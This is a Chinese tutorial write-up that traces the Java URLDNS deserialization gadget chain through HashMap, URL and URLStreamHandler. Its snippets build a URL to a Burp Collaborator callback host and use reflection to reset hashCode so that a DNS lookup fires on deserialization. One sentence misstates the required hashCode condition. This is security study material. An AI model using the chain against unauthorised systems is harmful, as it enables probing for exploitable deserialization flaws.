Java反序列化——年轻人的第一条链——URLDNS
跟白日梦组长的教程手搓一条链,跟p神分析的ysoserial的URLDNS再走一遍利用链。
1 | package Chains; |
分析一下URLDNS反序列化触发DNS请求的原理。
-
readObject——触发反序列化的方法
在HashMap中,readObject方法是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // <--------在这里!!!
}
}
}忽略部分代码,在最后面的putVal()中,调用了hash()方法计算了键名的hash。然后再跟入hash()方法。
1
2
3
4static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}此处再调用key.hashCode()。当然,对于传入不同的对象会有其各自不同的hashCode方法,而这里我们传入的是一个URL类型的对象,所以再跟入URL类的hashCode方法。
1
2
3
4
5
6
7public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}在最开头的那段链中,直接跟入
hashMap.put(url, 0);
其实会进入if (hashCode != -1)
,因为利用反射手动更改了传入的URL对象的hashCode值,这里后面再说。但反序列化的时候需要跳出if (hashCode != -1)
,执行hashCode = handler.hashCode(this);
,所以先往下看handler.hashCode()方法。此时,handler是URLStreamHandler对象(的某个子类对象)。1
2
3
4
5
6
7
8
9
10
11
12protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u); // <--------在这里!!!
...
}再忽略部分代码,可以看到handler.hashCode()方法中有一个getHostAddress()方法(字面意思上就是获得主机地址,已经很接近了),再跟入。
1
2
3protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}再跟入u.getHostAddress().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}
if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host); // <--------在这里!!!
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}hostAddress = InetAddress.getByName(host)
是根据主机名获得IP地址,很明显这就是DNS请求了。可以用一下Burp Collaborator测试一下,可以看到DNS请求。至此URLDNS的核心已经结束了,但仍有其他小细节。 -
在序列化时就触发了DNS请求,而反序列化时没有?
回到URL的hashCode方法,有个
if (hashCode != -1)
,可以测试一下1
2
3
4
5
6
7
8
9
10
11
12HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("https://wjjm3ftu3m5rsh3n4o93s6nlhcn3btzi.oastify.com");
Class classUrl = url.getClass();
Field fieldHashCode = classUrl.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
System.out.println(fieldHashCode.get(url));
hashMap.put(url, 0);
System.out.println(fieldHashCode.get(url));
// 输出
-1
1010668989利用反射取到了放入HashMap前后的url的hashCode。其实就是url对象中有个hashCode字段,也有个hashCode()方法,字段hashCode默认值为-1,若调用过hashCode()方法则更新该值。
1
2
3
4
5
6
7
8
9
10
11
12Class classUrl = url.getClass();
System.out.println(url.hashCode()); // 提前先调用一次hashCode()方法,计算hashCode
Field fieldHashCode = classUrl.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
System.out.println(fieldHashCode.get(url));
hashMap.put(url, 0);
System.out.println(fieldHashCode.get(url));
// 输出
1010668989
1010668989
1010668989这回输出就不一样了,而真正的计算其实只有第一次,后面都是直接输出了保存下来的hashCode。
根据上面追踪HashMap类的readObject()方法可以看到,我们只有让hashCode != -1才能进入到handler.hashCode(),才能产生DNS请求。因此我们在序列化的时候要防止url.hashCode()的调用,而在反序列化时调用,这个时候就需要反射的帮助了。
-
利用反射修改hashCode,阻止序列化时的DNS请求,产生反序列化时的DNS请求
从上面贴出的代码其实已经可以窥见一二。
- 利用反射获取私有属性hashCode,并修改访问权限
- 调用hashMap.put()前更改hashCode为非-1的值,阻止其计算hashCode
- 将url对象放入hashMap
- 再次更改url对象的hashCode为-1,使其在反序列化时能够被HashMap重写的readObject()方法调用到hashCode的计算,进而产生DNS请求
至此,完整的且基础的URLDNS分析完毕